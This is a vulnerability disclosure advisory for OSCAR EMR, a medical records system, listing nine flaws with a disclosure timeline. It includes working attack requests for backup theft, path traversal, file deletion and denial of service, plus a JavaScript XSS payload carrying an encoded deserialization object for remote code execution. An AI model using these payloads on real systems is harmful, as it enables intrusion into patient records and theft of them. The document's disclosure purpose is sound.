Title: Multiple vulnerabilities in OSCAR EMR
Product: OSCAR EMR
Vendor: Oscar McMaster
Tested version: 15.21beta361
Remediation status: Unknown
Reported by: Brian D. Hysell
Product: OSCAR EMR
Vendor: Oscar McMaster
Tested version: 15.21beta361
Remediation status: Unknown
Reported by: Brian D. Hysell

-----

Product Description:

"OSCAR is open-source Electronic Medical Record (EMR) software that
was first developed at McMaster University by Dr. David Chan. It is
continuously enriched by contributions from OSCAR users and the
Charter OSCAR Service Providers that support them. OSCAR has been
certified by OntarioMD, and verified as IHE compliant, achievements
made possible by the creation and success of OSCAR EMRas ISO
13485:2003 certified Quality Management System."

-----

Timeline:

29 Mar 2016 - Vendor contacted
29 Mar 2016 - Vendor responded
29 Apr 2016 - Vendor contacted for permission to share redacted report
with third party
02 May 2016 - Vendor responded
17 Jan 2017 - Lead developer contacted (no response)
01 Jul 2018 - Vendor and lead developer contacted for follow-up,
informed of intended 15 Aug disclosure (no response)
12 Aug 2018 - Alternate email address attempted for lead developer (no response)
15 Aug 2018 - Vulnerabilities publicly disclosed

-----

Contents:

This report uses OVE identifiers: http://www.openwall.com/ove/

OVE-20160329-0001: Database backup disclosure or denial of service via
insecure dependency
OVE-20160329-0003: Remote code execution via unsafe object deserialization
OVE-20160329-0004: Stored cross-site scripting (XSS) vulnerability in
security report interface
OVE-20160329-0007: SQL injection
OVE-20160329-0008: Path traversal
OVE-20160329-0002: Insecure direct object reference in document manager
OVE-20160329-0005: Denial of service via resource exhaustion
OVE-20160329-0006: Insecure password storage
OVE-20160329-0009: Cross-site request forgery

-----

Issue details:

=== OVE-20160329-0001: Database backup disclosure or denial of service
via insecure dependency ===

OSCAR uses a version of Apache Struts, 1.2.7, which is vulnerable to
CVE-2014-0114.

An authenticated user can issue the following request with different /
omitted cookie headers:
/oscar/login.do?class.classLoader.resources.dirContext.docBase=/var/lib/tomcat7/webapps/OscarDocument/oscar_mcmaster

Consequently, he or she can access (using a valid session cookie),
e.g., /oscar/OscarBackup.sql.gz

An unauthenticated attacker is prevented from doing likewise by the
aLoginFiltera servlet filter, but can still carry out a
denial-of-service attack impeding any access to the application until
Tomcat is restarted by issuing a request like the following:
/oscar/login.do?class.classLoader.resources.dirContext.docBase=invalid

=== OVE-20160329-0003: Remote code execution via unsafe object
deserialization ===

TraceabilityReportProcessor deserializes user-provided data, allowing
remote code execution given the presence of known-vulnerable libraries
in the classpath such as ROME 1.0. This functionality is only
available to administrators but can be exploited via XSS
(OVE-20160329-0004) or CSRF (issue 9) using a payload generated with
ysoserial.

In the tested configuration PMmodule/GenericIntake/ImportForm.jsp is
inaccessible due to the following exception
aorg.springframework.beans.factory.NoSuchBeanDefinitionException: No
bean named 'oscarSecurityManager' is defineda, but were it to be
accessible, it would be vulnerable as well.

=== OVE-20160329-0004: Stored cross-site scripting (XSS) vulnerability
in security report interface ===

logReport.jsp, in general, does not escape data it outputs to the
page; in particular, on line 283, prop.getProperty("contentId") is
printed unescaped. As a result, if an attacker includes Javascript in
his or her username during a login attempt, it will be executed if an
administrator views the Security Log Report for that timeframe. The
text printed in the "Keyword" column is cut off at 80 characters, but
that is more than enough to load an externally-hosted script, such as
the following script exploiting the deserialization RCE
OVE-20160329-0003:

var decodedBase64 =
atob("H4sIAJ8881YAA61WzW8bRRR/YyfexHWaJs1Xm6ZNSUvdtN3NR5M0uKJt0qZ1cEhFQnvwwYzXU2fDene7O5tsOHBA4sIBCcGFfwAOtIdKCBCVkCrEBU5InEBFXOBGOVRFXPh4M+vEbhJiU7rSvtl9895v3rz35s279Ss0ei60LdMVqvrcMNUr1Fuao06j8v29L7te+TYKkRmImzYtzFCd224amvmSy7wl2ywEzrnzIJ/VJiQR8SJYUrdLqudbqrdmFQydcsO21BuMFVSj5JjqfH6Z6XyKUeuN95UfVxrem41ANAO7c7ppW4zmTSbmOJzKII6GOFoVjiZwNIGjTVeLpzKwK8du+tT0Qu3BGtqXNmRRtSXH7QXuGlYxVD5ZQ3mxSjoVOLjnEzvv+TFb79O7X43Ov7oagUgG2nJG0bJddtW1HeZyg3kcWjMiHJoIh7bAOBrYkLPzyxzawwmTWkUtdGO4+sFK+KZt00Q+Lu8duVRy+BoCdD5y+z6OfpPEAKH4TXgdwySoIkgC9Z9bt952iyp1qL7E1IDiMqphceZa1FQDz+S6yl0aqIsMt0Q589I4Nl+fv2fd+mg0CrE0+tGwCsziL/qlPMNU2Z1DBcszGU8jP8hCPJdf40y3C2Kb0Wx2KgsxjDv18Lc9W7W7acHDjTfmLFpij+889H1K+M72uePzat91Vfmuwkc3iTT9Gx/flQu/8Oe+zmLxhwnpE5G4yI9kp2497P4j1rT4U5kde/Prvz7/AqeH4UwcovCMAuMKHFXgWQJ7POYa1LzGXA+9/XL6IgEyS6BlGl3PMYuuUdNnjbf73334zv3fnicQO2tYBsePaPL4NQIN0+gFgrE2LBb6a1EkCMGt2jrCUgTH/zKzgS8ZHoG9C9zPL5Z9epWuiXNJIJG2LOZKlzEUGsuseXZonOaEMl7okMu0UGTcO7INSorgwRasG7ZbIuAmN44A5oQW5oQmc0JbzwlN5oR2cX4uld1WumRWZEN7jNeYiykdfspDcoVaBZO5KeGSpoKt+yXMH1J1+OtZHlWXQhzc/tT/N4ZA/FKgM0ceIwWOEfjgv/mjpgUFXtIuLs5dCAwvjSyKlbW2Ul0+NMpwIg+exAoCStmXBC48DU8u2L6rsxlDpHGinIGqOKQJiMMuBZIERp8gYQmcrzcirm9xo8S0C3kPU1zn60gEOmSxMOyK8fK0TdaLvI60kS0EDtXYC4borG6WS0Fbpaq9FBqpwCD6DAXL/wQ6k8czW8RSCTgJp+JwAlQERBOY0z8y1ARDWCpYwHQCx5JbS2Y1EBZHnWGNTcAIjAqg0wQOVmy/uoolZWxybHxyaPz00PjI8JmJEQL9mZ0lUnAY24AooBX47odGiOGoyOagSfIw5EgTyNFwJDg2Dn4K5I4UaUEak0wVdiNNhALQChM4YvmDDpQSyufwjQreZsVRqdgfTpYVxVcndMl5At3Qgxr78Du0UcD2lmHTkrsN7ISEHQwnt4U9AH2yA0IvwiFcvrJAExzf2HQvzgip1g8hSjKfgdY+/AmMXb8j4SJot6CHoQ3HOKpEYAD2QLMvLupuxP5u4zrqFddRpwLdCvQosK/e6+jmL8aDs6XLPU/nOorO2PaW6+dozesHteopDPsJDNQBhVvf3BX968GudTh3TF9Sf/qmNqVvu5zfK2lHVXS7RHQdDg14mFxnlUBQu3+udK6P3uq5+/PvPW2ykcTWClnTYS/Vtk0rJXtIkUjNgbPiQp+QCFSs5urGvV9p7aDyBI5Q6kDDBnc2rLorbn709mzrwIPhzaYJqAOP2yKGQ+ESgvauyAZVkBbJ6BdkQP4LEquQ4B9DtscYvgwAAA==");
var binaryArray = new Uint8Array(new ArrayBuffer(decodedBase64.length));
for(var i = 0; i < binaryArray.length; i++) {
binaryArray[i] = decodedBase64.charCodeAt(i);
}
var payload = new Blob([binaryArray], {type: "application/x-gzip"});
var formData = new FormData();
formData.append("file", payload);
formData.append("submit", "Generate");
var xhr = new XMLHttpRequest();
xhr.open("POST", "/oscar/admin/GenerateTraceabilityReportAction.do");
xhr.send(formData);

XSS was not a focus of this test; other confirmed or likely XSS
vulnerabilities are:
* Reflected XSS through the errormsg parameter in loginfailed.jsp
* Reflected XSS through the signatureRequestId parameter in tabletSignature.jsp
* Reflected XSS through the noteId parameter, line 1562 in
CaseManagementViewAction (untested)
* Reflected XSS through the pdfName parameter when an exception has
been thrown, line 1174 in ManageDocumentAction (untested)
* Reflected XSS through the pharmaName and pharmaFax parameters, line
149 in FrmCustomedPDFServlet (untested)
* Reflected XSS through the id and followupValue parameters, line 81
in EctAddShortMeasurementAction (untested)

=== OVE-20160329-0007: SQL injection ===

On line 239 of oscarMDS/PatientSearch.jsp, the orderby parameter is
concatenated into an SQL statement rather than parameterized; likewise
the content parameter on lines 217, 223, and 229 of
admin/logReport.jsp. In both cases these errors result in error-based
SQL injection vulnerabilities; the former allows authenticated users
with access to oscarMDS/PatientSearch.jsp to access information beyond
their privilege levels while the latter is accessible only to
administrators.

=== OVE-20160329-0008: Path traversal ===

ImportLogDownloadAction reads and outputs an arbitrary absolute file
path provided by the user; DelImageAction deletes a user-specified
filename without accounting for the possibility of relative path
traversal (i.e., the inclusion of "../" in the filename).

Any authenticated user can exploit the former issue to steal files
from the system, e.g.,
/oscar/form/importLogDownload.do?importlog=/var/lib/tomcat7/webapps/OscarDocument/oscar_mcmaster/OscarBackup.sql.gz

An authenticated user with access to eforms can delete files writeable
by the Tomcat user, e.g.,
/oscar/eform/deleteImage.do?filename=../../../../oscar/index.jsp

=== OVE-20160329-0002: Insecure direct object reference in document manager ===

ManageDocumentAction.display() does not check the permissions
associated with the requested document ID (doc_no) before providing it
to the requesting user. Given
/oscar/dms/ManageDocument.do?method=display&doc_no=X&providerNo=Y, a
user with access to the document management interface can view
arbitrary documents by incrementing or decrementing X, regardless of
whether they have been marked private.

=== OVE-20160329-0005: Denial of service via resource exhaustion ===

uploadSignature.jsp, which is accessible to and operable by
unauthenticated users, saves uploaded files to a temporary directory
but never deletes them. An attacker can upload many junk files and
eventually consume all disk space available to the /tmp directory,
impeding access to the application depending on the functionality in
question and the partition layout of the host system (the effects are
crippling and pervasive if /tmp is on the same partition as /; they
are much less so if /tmp is on a separate partition).

=== OVE-20160329-0006: Insecure password storage ===

Passwords are stored as SHA-1 hashes; unless unusually complex,
passwords stored in that manner are typically easily recoverable with
a tool such as oclHashcat. In OSCAR each hash is stored as a string of
decimal numbers, rather than hexadecimal or raw bytes. This somewhat
non-traditional representation adds a bit of programming work to the
cracking process, but does not represent a major impediment to attack.

=== OVE-20160329-0009: Cross-site request forgery ===

The application lacks protection against cross-site request forgery
attacks. A CSRF attack could be used against an administrator to
exploit the deserialization RCE in a manner similar to the example
provided with OVE-20160329-0004.